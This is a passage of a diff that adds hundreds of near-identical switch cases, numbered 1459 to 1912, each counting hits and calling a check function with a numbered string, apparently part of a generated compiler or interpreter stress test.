+ case 1459: if (n[1459]++ > 0) check ('a string 1459'); break;
+ case 1460: if (n[1460]++ > 0) check ('a string 1460'); break;
+ case 1461: if (n[1461]++ > 0) check ('a string 1461'); break;
+ case 1462: if (n[1462]++ > 0) check ('a string 1462'); break;
+ case 1463: if (n[1463]++ > 0) check ('a string 1463'); break;
+ case 1464: if (n[1464]++ > 0) check ('a string 1464'); break;
+ case 1465: if (n[1465]++ > 0) check ('a string 1465'); break;
+ case 1466: if (n[1466]++ > 0) check ('a string 1466'); break;
+ case 1467: if (n[1467]++ > 0) check ('a string 1467'); break;
+ case 1468: if (n[1468]++ > 0) check ('a string 1468'); break;
+ case 1469: if (n[1469]++ > 0) check ('a string 1469'); break;
+ case 1470: if (n[1470]++ > 0) check ('a string 1470'); break;
+ case 1471: if (n[1471]++ > 0) check ('a string 1471'); break;
+ case 1472: if (n[1472]++ > 0) check ('a string 1472'); break;
+ case 1473: if (n[1473]++ > 0) check ('a string 1473'); break;
+ case 1474: if (n[1474]++ > 0) check ('a string 1474'); break;
+ case 1475: if (n[1475]++ > 0) check ('a string 1475'); break;
+ case 1476: if (n[1476]++ > 0) check ('a string 1476'); break;
+ case 1477: if (n[1477]++ > 0) check ('a string 1477'); break;
+ case 1478: if (n[1478]++ > 0) check ('a string 1478'); break;
+ case 1479: if (n[1479]++ > 0) check ('a string 1479'); break;
+ case 1480: if (n[1480]++ > 0) check ('a string 1480'); break;
+ case 1481: if (n[1481]++ > 0) check ('a string 1481'); break;
+ case 1482: if (n[1482]++ > 0) check ('a string 1482'); break;
+ case 1483: if (n[1483]++ > 0) check ('a string 1483'); break;
+ case 1484: if (n[1484]++ > 0) check ('a string 1484'); break;
+ case 1485: if (n[1485]++ > 0) check ('a string 1485'); break;
+ case 1486: if (n[1486]++ > 0) check ('a string 1486'); break;
+ case 1487: if (n[1487]++ > 0) check ('a string 1487'); break;
+ case 1488: if (n[1488]++ > 0) check ('a string 1488'); break;
+ case 1489: if (n[1489]++ > 0) check ('a string 1489'); break;
+ case 1490: if (n[1490]++ > 0) check ('a string 1490'); break;
+ case 1491: if (n[1491]++ > 0) check ('a string 1491'); break;
+ case 1492: if (n[1492]++ > 0) check ('a string 1492'); break;
+ case 1493: if (n[1493]++ > 0) check ('a string 1493'); break;
+ case 1494: if (n[1494]++ > 0) check ('a string 1494'); break;
+ case 1495: if (n[1495]++ > 0) check ('a string 1495'); break;
+ case 1496: if (n[1496]++ > 0) check ('a string 1496'); break;
+ case 1497: if (n[1497]++ > 0) check ('a string 1497'); break;
+ case 1498: if (n[1498]++ > 0) check ('a string 1498'); break;
+ case 1499: if (n[1499]++ > 0) check ('a string 1499'); break;
+ case 1500: if (n[1500]++ > 0) check ('a string 1500'); break;
+ case 1501: if (n[1501]++ > 0) check ('a string 1501'); break;
+ case 1502: if (n[1502]++ > 0) check ('a string 1502'); break;
+ case 1503: if (n[1503]++ > 0) check ('a string 1503'); break;
+ case 1504: if (n[1504]++ > 0) check ('a string 1504'); break;
+ case 1505: if (n[1505]++ > 0) check ('a string 1505'); break;
+ case 1506: if (n[1506]++ > 0) check ('a string 1506'); break;
+ case 1507: if (n[1507]++ > 0) check ('a string 1507'); break;
+ case 1508: if (n[1508]++ > 0) check ('a string 1508'); break;
+ case 1509: if (n[1509]++ > 0) check ('a string 1509'); break;
+ case 1510: if (n[1510]++ > 0) check ('a string 1510'); break;
+ case 1511: if (n[1511]++ > 0) check ('a string 1511'); break;
+ case 1512: if (n[1512]++ > 0) check ('a string 1512'); break;
+ case 1513: if (n[1513]++ > 0) check ('a string 1513'); break;
+ case 1514: if (n[1514]++ > 0) check ('a string 1514'); break;
+ case 1515: if (n[1515]++ > 0) check ('a string 1515'); break;
+ case 1516: if (n[1516]++ > 0) check ('a string 1516'); break;
+ case 1517: if (n[1517]++ > 0) check ('a string 1517'); break;
+ case 1518: if (n[1518]++ > 0) check ('a string 1518'); break;
+ case 1519: if (n[1519]++ > 0) check ('a string 1519'); break;
+ case 1520: if (n[1520]++ > 0) check ('a string 1520'); break;
+ case 1521: if (n[1521]++ > 0) check ('a string 1521'); break;
+ case 1522: if (n[1522]++ > 0) check ('a string 1522'); break;
+ case 1523: if (n[1523]++ > 0) check ('a string 1523'); break;
+ case 1524: if (n[1524]++ > 0) check ('a string 1524'); break;
+ case 1525: if (n[1525]++ > 0) check ('a string 1525'); break;
+ case 1526: if (n[1526]++ > 0) check ('a string 1526'); break;
+ case 1527: if (n[1527]++ > 0) check ('a string 1527'); break;
+ case 1528: if (n[1528]++ > 0) check ('a string 1528'); break;
+ case 1529: if (n[1529]++ > 0) check ('a string 1529'); break;
+ case 1530: if (n[1530]++ > 0) check ('a string 1530'); break;
+ case 1531: if (n[1531]++ > 0) check ('a string 1531'); break;
+ case 1532: if (n[1532]++ > 0) check ('a string 1532'); break;
+ case 1533: if (n[1533]++ > 0) check ('a string 1533'); break;
+ case 1534: if (n[1534]++ > 0) check ('a string 1534'); break;
+ case 1535: if (n[1535]++ > 0) check ('a string 1535'); break;
+ case 1536: if (n[1536]++ > 0) check ('a string 1536'); break;
+ case 1537: if (n[1537]++ > 0) check ('a string 1537'); break;
+ case 1538: if (n[1538]++ > 0) check ('a string 1538'); break;
+ case 1539: if (n[1539]++ > 0) check ('a string 1539'); break;
+ case 1540: if (n[1540]++ > 0) check ('a string 1540'); break;
+ case 1541: if (n[1541]++ > 0) check ('a string 1541'); break;
+ case 1542: if (n[1542]++ > 0) check ('a string 1542'); break;
+ case 1543: if (n[1543]++ > 0) check ('a string 1543'); break;
+ case 1544: if (n[1544]++ > 0) check ('a string 1544'); break;
+ case 1545: if (n[1545]++ > 0) check ('a string 1545'); break;
+ case 1546: if (n[1546]++ > 0) check ('a string 1546'); break;
+ case 1547: if (n[1547]++ > 0) check ('a string 1547'); break;
+ case 1548: if (n[1548]++ > 0) check ('a string 1548'); break;
+ case 1549: if (n[1549]++ > 0) check ('a string 1549'); break;
+ case 1550: if (n[1550]++ > 0) check ('a string 1550'); break;
+ case 1551: if (n[1551]++ > 0) check ('a string 1551'); break;
+ case 1552: if (n[1552]++ > 0) check ('a string 1552'); break;
+ case 1553: if (n[1553]++ > 0) check ('a string 1553'); break;
+ case 1554: if (n[1554]++ > 0) check ('a string 1554'); break;
+ case 1555: if (n[1555]++ > 0) check ('a string 1555'); break;
+ case 1556: if (n[1556]++ > 0) check ('a string 1556'); break;
+ case 1557: if (n[1557]++ > 0) check ('a string 1557'); break;
+ case 1558: if (n[1558]++ > 0) check ('a string 1558'); break;
+ case 1559: if (n[1559]++ > 0) check ('a string 1559'); break;
+ case 1560: if (n[1560]++ > 0) check ('a string 1560'); break;
+ case 1561: if (n[1561]++ > 0) check ('a string 1561'); break;
+ case 1562: if (n[1562]++ > 0) check ('a string 1562'); break;
+ case 1563: if (n[1563]++ > 0) check ('a string 1563'); break;
+ case 1564: if (n[1564]++ > 0) check ('a string 1564'); break;
+ case 1565: if (n[1565]++ > 0) check ('a string 1565'); break;
+ case 1566: if (n[1566]++ > 0) check ('a string 1566'); break;
+ case 1567: if (n[1567]++ > 0) check ('a string 1567'); break;
+ case 1568: if (n[1568]++ > 0) check ('a string 1568'); break;
+ case 1569: if (n[1569]++ > 0) check ('a string 1569'); break;
+ case 1570: if (n[1570]++ > 0) check ('a string 1570'); break;
+ case 1571: if (n[1571]++ > 0) check ('a string 1571'); break;
+ case 1572: if (n[1572]++ > 0) check ('a string 1572'); break;
+ case 1573: if (n[1573]++ > 0) check ('a string 1573'); break;
+ case 1574: if (n[1574]++ > 0) check ('a string 1574'); break;
+ case 1575: if (n[1575]++ > 0) check ('a string 1575'); break;
+ case 1576: if (n[1576]++ > 0) check ('a string 1576'); break;
+ case 1577: if (n[1577]++ > 0) check ('a string 1577'); break;
+ case 1578: if (n[1578]++ > 0) check ('a string 1578'); break;
+ case 1579: if (n[1579]++ > 0) check ('a string 1579'); break;
+ case 1580: if (n[1580]++ > 0) check ('a string 1580'); break;
+ case 1581: if (n[1581]++ > 0) check ('a string 1581'); break;
+ case 1582: if (n[1582]++ > 0) check ('a string 1582'); break;
+ case 1583: if (n[1583]++ > 0) check ('a string 1583'); break;
+ case 1584: if (n[1584]++ > 0) check ('a string 1584'); break;
+ case 1585: if (n[1585]++ > 0) check ('a string 1585'); break;
+ case 1586: if (n[1586]++ > 0) check ('a string 1586'); break;
+ case 1587: if (n[1587]++ > 0) check ('a string 1587'); break;
+ case 1588: if (n[1588]++ > 0) check ('a string 1588'); break;
+ case 1589: if (n[1589]++ > 0) check ('a string 1589'); break;
+ case 1590: if (n[1590]++ > 0) check ('a string 1590'); break;
+ case 1591: if (n[1591]++ > 0) check ('a string 1591'); break;
+ case 1592: if (n[1592]++ > 0) check ('a string 1592'); break;
+ case 1593: if (n[1593]++ > 0) check ('a string 1593'); break;
+ case 1594: if (n[1594]++ > 0) check ('a string 1594'); break;
+ case 1595: if (n[1595]++ > 0) check ('a string 1595'); break;
+ case 1596: if (n[1596]++ > 0) check ('a string 1596'); break;
+ case 1597: if (n[1597]++ > 0) check ('a string 1597'); break;
+ case 1598: if (n[1598]++ > 0) check ('a string 1598'); break;
+ case 1599: if (n[1599]++ > 0) check ('a string 1599'); break;
+ case 1600: if (n[1600]++ > 0) check ('a string 1600'); break;
+ case 1601: if (n[1601]++ > 0) check ('a string 1601'); break;
+ case 1602: if (n[1602]++ > 0) check ('a string 1602'); break;
+ case 1603: if (n[1603]++ > 0) check ('a string 1603'); break;
+ case 1604: if (n[1604]++ > 0) check ('a string 1604'); break;
+ case 1605: if (n[1605]++ > 0) check ('a string 1605'); break;
+ case 1606: if (n[1606]++ > 0) check ('a string 1606'); break;
+ case 1607: if (n[1607]++ > 0) check ('a string 1607'); break;
+ case 1608: if (n[1608]++ > 0) check ('a string 1608'); break;
+ case 1609: if (n[1609]++ > 0) check ('a string 1609'); break;
+ case 1610: if (n[1610]++ > 0) check ('a string 1610'); break;
+ case 1611: if (n[1611]++ > 0) check ('a string 1611'); break;
+ case 1612: if (n[1612]++ > 0) check ('a string 1612'); break;
+ case 1613: if (n[1613]++ > 0) check ('a string 1613'); break;
+ case 1614: if (n[1614]++ > 0) check ('a string 1614'); break;
+ case 1615: if (n[1615]++ > 0) check ('a string 1615'); break;
+ case 1616: if (n[1616]++ > 0) check ('a string 1616'); break;
+ case 1617: if (n[1617]++ > 0) check ('a string 1617'); break;
+ case 1618: if (n[1618]++ > 0) check ('a string 1618'); break;
+ case 1619: if (n[1619]++ > 0) check ('a string 1619'); break;
+ case 1620: if (n[1620]++ > 0) check ('a string 1620'); break;
+ case 1621: if (n[1621]++ > 0) check ('a string 1621'); break;
+ case 1622: if (n[1622]++ > 0) check ('a string 1622'); break;
+ case 1623: if (n[1623]++ > 0) check ('a string 1623'); break;
+ case 1624: if (n[1624]++ > 0) check ('a string 1624'); break;
+ case 1625: if (n[1625]++ > 0) check ('a string 1625'); break;
+ case 1626: if (n[1626]++ > 0) check ('a string 1626'); break;
+ case 1627: if (n[1627]++ > 0) check ('a string 1627'); break;
+ case 1628: if (n[1628]++ > 0) check ('a string 1628'); break;
+ case 1629: if (n[1629]++ > 0) check ('a string 1629'); break;
+ case 1630: if (n[1630]++ > 0) check ('a string 1630'); break;
+ case 1631: if (n[1631]++ > 0) check ('a string 1631'); break;
+ case 1632: if (n[1632]++ > 0) check ('a string 1632'); break;
+ case 1633: if (n[1633]++ > 0) check ('a string 1633'); break;
+ case 1634: if (n[1634]++ > 0) check ('a string 1634'); break;
+ case 1635: if (n[1635]++ > 0) check ('a string 1635'); break;
+ case 1636: if (n[1636]++ > 0) check ('a string 1636'); break;
+ case 1637: if (n[1637]++ > 0) check ('a string 1637'); break;
+ case 1638: if (n[1638]++ > 0) check ('a string 1638'); break;
+ case 1639: if (n[1639]++ > 0) check ('a string 1639'); break;
+ case 1640: if (n[1640]++ > 0) check ('a string 1640'); break;
+ case 1641: if (n[1641]++ > 0) check ('a string 1641'); break;
+ case 1642: if (n[1642]++ > 0) check ('a string 1642'); break;
+ case 1643: if (n[1643]++ > 0) check ('a string 1643'); break;
+ case 1644: if (n[1644]++ > 0) check ('a string 1644'); break;
+ case 1645: if (n[1645]++ > 0) check ('a string 1645'); break;
+ case 1646: if (n[1646]++ > 0) check ('a string 1646'); break;
+ case 1647: if (n[1647]++ > 0) check ('a string 1647'); break;
+ case 1648: if (n[1648]++ > 0) check ('a string 1648'); break;
+ case 1649: if (n[1649]++ > 0) check ('a string 1649'); break;
+ case 1650: if (n[1650]++ > 0) check ('a string 1650'); break;
+ case 1651: if (n[1651]++ > 0) check ('a string 1651'); break;
+ case 1652: if (n[1652]++ > 0) check ('a string 1652'); break;
+ case 1653: if (n[1653]++ > 0) check ('a string 1653'); break;
+ case 1654: if (n[1654]++ > 0) check ('a string 1654'); break;
+ case 1655: if (n[1655]++ > 0) check ('a string 1655'); break;
+ case 1656: if (n[1656]++ > 0) check ('a string 1656'); break;
+ case 1657: if (n[1657]++ > 0) check ('a string 1657'); break;
+ case 1658: if (n[1658]++ > 0) check ('a string 1658'); break;
+ case 1659: if (n[1659]++ > 0) check ('a string 1659'); break;
+ case 1660: if (n[1660]++ > 0) check ('a string 1660'); break;
+ case 1661: if (n[1661]++ > 0) check ('a string 1661'); break;
+ case 1662: if (n[1662]++ > 0) check ('a string 1662'); break;
+ case 1663: if (n[1663]++ > 0) check ('a string 1663'); break;
+ case 1664: if (n[1664]++ > 0) check ('a string 1664'); break;
+ case 1665: if (n[1665]++ > 0) check ('a string 1665'); break;
+ case 1666: if (n[1666]++ > 0) check ('a string 1666'); break;
+ case 1667: if (n[1667]++ > 0) check ('a string 1667'); break;
+ case 1668: if (n[1668]++ > 0) check ('a string 1668'); break;
+ case 1669: if (n[1669]++ > 0) check ('a string 1669'); break;
+ case 1670: if (n[1670]++ > 0) check ('a string 1670'); break;
+ case 1671: if (n[1671]++ > 0) check ('a string 1671'); break;
+ case 1672: if (n[1672]++ > 0) check ('a string 1672'); break;
+ case 1673: if (n[1673]++ > 0) check ('a string 1673'); break;
+ case 1674: if (n[1674]++ > 0) check ('a string 1674'); break;
+ case 1675: if (n[1675]++ > 0) check ('a string 1675'); break;
+ case 1676: if (n[1676]++ > 0) check ('a string 1676'); break;
+ case 1677: if (n[1677]++ > 0) check ('a string 1677'); break;
+ case 1678: if (n[1678]++ > 0) check ('a string 1678'); break;
+ case 1679: if (n[1679]++ > 0) check ('a string 1679'); break;
+ case 1680: if (n[1680]++ > 0) check ('a string 1680'); break;
+ case 1681: if (n[1681]++ > 0) check ('a string 1681'); break;
+ case 1682: if (n[1682]++ > 0) check ('a string 1682'); break;
+ case 1683: if (n[1683]++ > 0) check ('a string 1683'); break;
+ case 1684: if (n[1684]++ > 0) check ('a string 1684'); break;
+ case 1685: if (n[1685]++ > 0) check ('a string 1685'); break;
+ case 1686: if (n[1686]++ > 0) check ('a string 1686'); break;
+ case 1687: if (n[1687]++ > 0) check ('a string 1687'); break;
+ case 1688: if (n[1688]++ > 0) check ('a string 1688'); break;
+ case 1689: if (n[1689]++ > 0) check ('a string 1689'); break;
+ case 1690: if (n[1690]++ > 0) check ('a string 1690'); break;
+ case 1691: if (n[1691]++ > 0) check ('a string 1691'); break;
+ case 1692: if (n[1692]++ > 0) check ('a string 1692'); break;
+ case 1693: if (n[1693]++ > 0) check ('a string 1693'); break;
+ case 1694: if (n[1694]++ > 0) check ('a string 1694'); break;
+ case 1695: if (n[1695]++ > 0) check ('a string 1695'); break;
+ case 1696: if (n[1696]++ > 0) check ('a string 1696'); break;
+ case 1697: if (n[1697]++ > 0) check ('a string 1697'); break;
+ case 1698: if (n[1698]++ > 0) check ('a string 1698'); break;
+ case 1699: if (n[1699]++ > 0) check ('a string 1699'); break;
+ case 1700: if (n[1700]++ > 0) check ('a string 1700'); break;
+ case 1701: if (n[1701]++ > 0) check ('a string 1701'); break;
+ case 1702: if (n[1702]++ > 0) check ('a string 1702'); break;
+ case 1703: if (n[1703]++ > 0) check ('a string 1703'); break;
+ case 1704: if (n[1704]++ > 0) check ('a string 1704'); break;
+ case 1705: if (n[1705]++ > 0) check ('a string 1705'); break;
+ case 1706: if (n[1706]++ > 0) check ('a string 1706'); break;
+ case 1707: if (n[1707]++ > 0) check ('a string 1707'); break;
+ case 1708: if (n[1708]++ > 0) check ('a string 1708'); break;
+ case 1709: if (n[1709]++ > 0) check ('a string 1709'); break;
+ case 1710: if (n[1710]++ > 0) check ('a string 1710'); break;
+ case 1711: if (n[1711]++ > 0) check ('a string 1711'); break;
+ case 1712: if (n[1712]++ > 0) check ('a string 1712'); break;
+ case 1713: if (n[1713]++ > 0) check ('a string 1713'); break;
+ case 1714: if (n[1714]++ > 0) check ('a string 1714'); break;
+ case 1715: if (n[1715]++ > 0) check ('a string 1715'); break;
+ case 1716: if (n[1716]++ > 0) check ('a string 1716'); break;
+ case 1717: if (n[1717]++ > 0) check ('a string 1717'); break;
+ case 1718: if (n[1718]++ > 0) check ('a string 1718'); break;
+ case 1719: if (n[1719]++ > 0) check ('a string 1719'); break;
+ case 1720: if (n[1720]++ > 0) check ('a string 1720'); break;
+ case 1721: if (n[1721]++ > 0) check ('a string 1721'); break;
+ case 1722: if (n[1722]++ > 0) check ('a string 1722'); break;
+ case 1723: if (n[1723]++ > 0) check ('a string 1723'); break;
+ case 1724: if (n[1724]++ > 0) check ('a string 1724'); break;
+ case 1725: if (n[1725]++ > 0) check ('a string 1725'); break;
+ case 1726: if (n[1726]++ > 0) check ('a string 1726'); break;
+ case 1727: if (n[1727]++ > 0) check ('a string 1727'); break;
+ case 1728: if (n[1728]++ > 0) check ('a string 1728'); break;
+ case 1729: if (n[1729]++ > 0) check ('a string 1729'); break;
+ case 1730: if (n[1730]++ > 0) check ('a string 1730'); break;
+ case 1731: if (n[1731]++ > 0) check ('a string 1731'); break;
+ case 1732: if (n[1732]++ > 0) check ('a string 1732'); break;
+ case 1733: if (n[1733]++ > 0) check ('a string 1733'); break;
+ case 1734: if (n[1734]++ > 0) check ('a string 1734'); break;
+ case 1735: if (n[1735]++ > 0) check ('a string 1735'); break;
+ case 1736: if (n[1736]++ > 0) check ('a string 1736'); break;
+ case 1737: if (n[1737]++ > 0) check ('a string 1737'); break;
+ case 1738: if (n[1738]++ > 0) check ('a string 1738'); break;
+ case 1739: if (n[1739]++ > 0) check ('a string 1739'); break;
+ case 1740: if (n[1740]++ > 0) check ('a string 1740'); break;
+ case 1741: if (n[1741]++ > 0) check ('a string 1741'); break;
+ case 1742: if (n[1742]++ > 0) check ('a string 1742'); break;
+ case 1743: if (n[1743]++ > 0) check ('a string 1743'); break;
+ case 1744: if (n[1744]++ > 0) check ('a string 1744'); break;
+ case 1745: if (n[1745]++ > 0) check ('a string 1745'); break;
+ case 1746: if (n[1746]++ > 0) check ('a string 1746'); break;
+ case 1747: if (n[1747]++ > 0) check ('a string 1747'); break;
+ case 1748: if (n[1748]++ > 0) check ('a string 1748'); break;
+ case 1749: if (n[1749]++ > 0) check ('a string 1749'); break;
+ case 1750: if (n[1750]++ > 0) check ('a string 1750'); break;
+ case 1751: if (n[1751]++ > 0) check ('a string 1751'); break;
+ case 1752: if (n[1752]++ > 0) check ('a string 1752'); break;
+ case 1753: if (n[1753]++ > 0) check ('a string 1753'); break;
+ case 1754: if (n[1754]++ > 0) check ('a string 1754'); break;
+ case 1755: if (n[1755]++ > 0) check ('a string 1755'); break;
+ case 1756: if (n[1756]++ > 0) check ('a string 1756'); break;
+ case 1757: if (n[1757]++ > 0) check ('a string 1757'); break;
+ case 1758: if (n[1758]++ > 0) check ('a string 1758'); break;
+ case 1759: if (n[1759]++ > 0) check ('a string 1759'); break;
+ case 1760: if (n[1760]++ > 0) check ('a string 1760'); break;
+ case 1761: if (n[1761]++ > 0) check ('a string 1761'); break;
+ case 1762: if (n[1762]++ > 0) check ('a string 1762'); break;
+ case 1763: if (n[1763]++ > 0) check ('a string 1763'); break;
+ case 1764: if (n[1764]++ > 0) check ('a string 1764'); break;
+ case 1765: if (n[1765]++ > 0) check ('a string 1765'); break;
+ case 1766: if (n[1766]++ > 0) check ('a string 1766'); break;
+ case 1767: if (n[1767]++ > 0) check ('a string 1767'); break;
+ case 1768: if (n[1768]++ > 0) check ('a string 1768'); break;
+ case 1769: if (n[1769]++ > 0) check ('a string 1769'); break;
+ case 1770: if (n[1770]++ > 0) check ('a string 1770'); break;
+ case 1771: if (n[1771]++ > 0) check ('a string 1771'); break;
+ case 1772: if (n[1772]++ > 0) check ('a string 1772'); break;
+ case 1773: if (n[1773]++ > 0) check ('a string 1773'); break;
+ case 1774: if (n[1774]++ > 0) check ('a string 1774'); break;
+ case 1775: if (n[1775]++ > 0) check ('a string 1775'); break;
+ case 1776: if (n[1776]++ > 0) check ('a string 1776'); break;
+ case 1777: if (n[1777]++ > 0) check ('a string 1777'); break;
+ case 1778: if (n[1778]++ > 0) check ('a string 1778'); break;
+ case 1779: if (n[1779]++ > 0) check ('a string 1779'); break;
+ case 1780: if (n[1780]++ > 0) check ('a string 1780'); break;
+ case 1781: if (n[1781]++ > 0) check ('a string 1781'); break;
+ case 1782: if (n[1782]++ > 0) check ('a string 1782'); break;
+ case 1783: if (n[1783]++ > 0) check ('a string 1783'); break;
+ case 1784: if (n[1784]++ > 0) check ('a string 1784'); break;
+ case 1785: if (n[1785]++ > 0) check ('a string 1785'); break;
+ case 1786: if (n[1786]++ > 0) check ('a string 1786'); break;
+ case 1787: if (n[1787]++ > 0) check ('a string 1787'); break;
+ case 1788: if (n[1788]++ > 0) check ('a string 1788'); break;
+ case 1789: if (n[1789]++ > 0) check ('a string 1789'); break;
+ case 1790: if (n[1790]++ > 0) check ('a string 1790'); break;
+ case 1791: if (n[1791]++ > 0) check ('a string 1791'); break;
+ case 1792: if (n[1792]++ > 0) check ('a string 1792'); break;
+ case 1793: if (n[1793]++ > 0) check ('a string 1793'); break;
+ case 1794: if (n[1794]++ > 0) check ('a string 1794'); break;
+ case 1795: if (n[1795]++ > 0) check ('a string 1795'); break;
+ case 1796: if (n[1796]++ > 0) check ('a string 1796'); break;
+ case 1797: if (n[1797]++ > 0) check ('a string 1797'); break;
+ case 1798: if (n[1798]++ > 0) check ('a string 1798'); break;
+ case 1799: if (n[1799]++ > 0) check ('a string 1799'); break;
+ case 1800: if (n[1800]++ > 0) check ('a string 1800'); break;
+ case 1801: if (n[1801]++ > 0) check ('a string 1801'); break;
+ case 1802: if (n[1802]++ > 0) check ('a string 1802'); break;
+ case 1803: if (n[1803]++ > 0) check ('a string 1803'); break;
+ case 1804: if (n[1804]++ > 0) check ('a string 1804'); break;
+ case 1805: if (n[1805]++ > 0) check ('a string 1805'); break;
+ case 1806: if (n[1806]++ > 0) check ('a string 1806'); break;
+ case 1807: if (n[1807]++ > 0) check ('a string 1807'); break;
+ case 1808: if (n[1808]++ > 0) check ('a string 1808'); break;
+ case 1809: if (n[1809]++ > 0) check ('a string 1809'); break;
+ case 1810: if (n[1810]++ > 0) check ('a string 1810'); break;
+ case 1811: if (n[1811]++ > 0) check ('a string 1811'); break;
+ case 1812: if (n[1812]++ > 0) check ('a string 1812'); break;
+ case 1813: if (n[1813]++ > 0) check ('a string 1813'); break;
+ case 1814: if (n[1814]++ > 0) check ('a string 1814'); break;
+ case 1815: if (n[1815]++ > 0) check ('a string 1815'); break;
+ case 1816: if (n[1816]++ > 0) check ('a string 1816'); break;
+ case 1817: if (n[1817]++ > 0) check ('a string 1817'); break;
+ case 1818: if (n[1818]++ > 0) check ('a string 1818'); break;
+ case 1819: if (n[1819]++ > 0) check ('a string 1819'); break;
+ case 1820: if (n[1820]++ > 0) check ('a string 1820'); break;
+ case 1821: if (n[1821]++ > 0) check ('a string 1821'); break;
+ case 1822: if (n[1822]++ > 0) check ('a string 1822'); break;
+ case 1823: if (n[1823]++ > 0) check ('a string 1823'); break;
+ case 1824: if (n[1824]++ > 0) check ('a string 1824'); break;
+ case 1825: if (n[1825]++ > 0) check ('a string 1825'); break;
+ case 1826: if (n[1826]++ > 0) check ('a string 1826'); break;
+ case 1827: if (n[1827]++ > 0) check ('a string 1827'); break;
+ case 1828: if (n[1828]++ > 0) check ('a string 1828'); break;
+ case 1829: if (n[1829]++ > 0) check ('a string 1829'); break;
+ case 1830: if (n[1830]++ > 0) check ('a string 1830'); break;
+ case 1831: if (n[1831]++ > 0) check ('a string 1831'); break;
+ case 1832: if (n[1832]++ > 0) check ('a string 1832'); break;
+ case 1833: if (n[1833]++ > 0) check ('a string 1833'); break;
+ case 1834: if (n[1834]++ > 0) check ('a string 1834'); break;
+ case 1835: if (n[1835]++ > 0) check ('a string 1835'); break;
+ case 1836: if (n[1836]++ > 0) check ('a string 1836'); break;
+ case 1837: if (n[1837]++ > 0) check ('a string 1837'); break;
+ case 1838: if (n[1838]++ > 0) check ('a string 1838'); break;
+ case 1839: if (n[1839]++ > 0) check ('a string 1839'); break;
+ case 1840: if (n[1840]++ > 0) check ('a string 1840'); break;
+ case 1841: if (n[1841]++ > 0) check ('a string 1841'); break;
+ case 1842: if (n[1842]++ > 0) check ('a string 1842'); break;
+ case 1843: if (n[1843]++ > 0) check ('a string 1843'); break;
+ case 1844: if (n[1844]++ > 0) check ('a string 1844'); break;
+ case 1845: if (n[1845]++ > 0) check ('a string 1845'); break;
+ case 1846: if (n[1846]++ > 0) check ('a string 1846'); break;
+ case 1847: if (n[1847]++ > 0) check ('a string 1847'); break;
+ case 1848: if (n[1848]++ > 0) check ('a string 1848'); break;
+ case 1849: if (n[1849]++ > 0) check ('a string 1849'); break;
+ case 1850: if (n[1850]++ > 0) check ('a string 1850'); break;
+ case 1851: if (n[1851]++ > 0) check ('a string 1851'); break;
+ case 1852: if (n[1852]++ > 0) check ('a string 1852'); break;
+ case 1853: if (n[1853]++ > 0) check ('a string 1853'); break;
+ case 1854: if (n[1854]++ > 0) check ('a string 1854'); break;
+ case 1855: if (n[1855]++ > 0) check ('a string 1855'); break;
+ case 1856: if (n[1856]++ > 0) check ('a string 1856'); break;
+ case 1857: if (n[1857]++ > 0) check ('a string 1857'); break;
+ case 1858: if (n[1858]++ > 0) check ('a string 1858'); break;
+ case 1859: if (n[1859]++ > 0) check ('a string 1859'); break;
+ case 1860: if (n[1860]++ > 0) check ('a string 1860'); break;
+ case 1861: if (n[1861]++ > 0) check ('a string 1861'); break;
+ case 1862: if (n[1862]++ > 0) check ('a string 1862'); break;
+ case 1863: if (n[1863]++ > 0) check ('a string 1863'); break;
+ case 1864: if (n[1864]++ > 0) check ('a string 1864'); break;
+ case 1865: if (n[1865]++ > 0) check ('a string 1865'); break;
+ case 1866: if (n[1866]++ > 0) check ('a string 1866'); break;
+ case 1867: if (n[1867]++ > 0) check ('a string 1867'); break;
+ case 1868: if (n[1868]++ > 0) check ('a string 1868'); break;
+ case 1869: if (n[1869]++ > 0) check ('a string 1869'); break;
+ case 1870: if (n[1870]++ > 0) check ('a string 1870'); break;
+ case 1871: if (n[1871]++ > 0) check ('a string 1871'); break;
+ case 1872: if (n[1872]++ > 0) check ('a string 1872'); break;
+ case 1873: if (n[1873]++ > 0) check ('a string 1873'); break;
+ case 1874: if (n[1874]++ > 0) check ('a string 1874'); break;
+ case 1875: if (n[1875]++ > 0) check ('a string 1875'); break;
+ case 1876: if (n[1876]++ > 0) check ('a string 1876'); break;
+ case 1877: if (n[1877]++ > 0) check ('a string 1877'); break;
+ case 1878: if (n[1878]++ > 0) check ('a string 1878'); break;
+ case 1879: if (n[1879]++ > 0) check ('a string 1879'); break;
+ case 1880: if (n[1880]++ > 0) check ('a string 1880'); break;
+ case 1881: if (n[1881]++ > 0) check ('a string 1881'); break;
+ case 1882: if (n[1882]++ > 0) check ('a string 1882'); break;
+ case 1883: if (n[1883]++ > 0) check ('a string 1883'); break;
+ case 1884: if (n[1884]++ > 0) check ('a string 1884'); break;
+ case 1885: if (n[1885]++ > 0) check ('a string 1885'); break;
+ case 1886: if (n[1886]++ > 0) check ('a string 1886'); break;
+ case 1887: if (n[1887]++ > 0) check ('a string 1887'); break;
+ case 1888: if (n[1888]++ > 0) check ('a string 1888'); break;
+ case 1889: if (n[1889]++ > 0) check ('a string 1889'); break;
+ case 1890: if (n[1890]++ > 0) check ('a string 1890'); break;
+ case 1891: if (n[1891]++ > 0) check ('a string 1891'); break;
+ case 1892: if (n[1892]++ > 0) check ('a string 1892'); break;
+ case 1893: if (n[1893]++ > 0) check ('a string 1893'); break;
+ case 1894: if (n[1894]++ > 0) check ('a string 1894'); break;
+ case 1895: if (n[1895]++ > 0) check ('a string 1895'); break;
+ case 1896: if (n[1896]++ > 0) check ('a string 1896'); break;
+ case 1897: if (n[1897]++ > 0) check ('a string 1897'); break;
+ case 1898: if (n[1898]++ > 0) check ('a string 1898'); break;
+ case 1899: if (n[1899]++ > 0) check ('a string 1899'); break;
+ case 1900: if (n[1900]++ > 0) check ('a string 1900'); break;
+ case 1901: if (n[1901]++ > 0) check ('a string 1901'); break;
+ case 1902: if (n[1902]++ > 0) check ('a string 1902'); break;
+ case 1903: if (n[1903]++ > 0) check ('a string 1903'); break;
+ case 1904: if (n[1904]++ > 0) check ('a string 1904'); break;
+ case 1905: if (n[1905]++ > 0) check ('a string 1905'); break;
+ case 1906: if (n[1906]++ > 0) check ('a string 1906'); break;
+ case 1907: if (n[1907]++ > 0) check ('a string 1907'); break;
+ case 1908: if (n[1908]++ > 0) check ('a string 1908'); break;
+ case 1909: if (n[1909]++ > 0) check ('a string 1909'); break;
+ case 1910: if (n[1910]++ > 0) check ('a string 1910'); break;
+ case 1911: if (n[1911]++ > 0) check ('a string 1911'); break;
+ case 1912: if (n[1912]++ > 0) check ('a string 1912'); break;
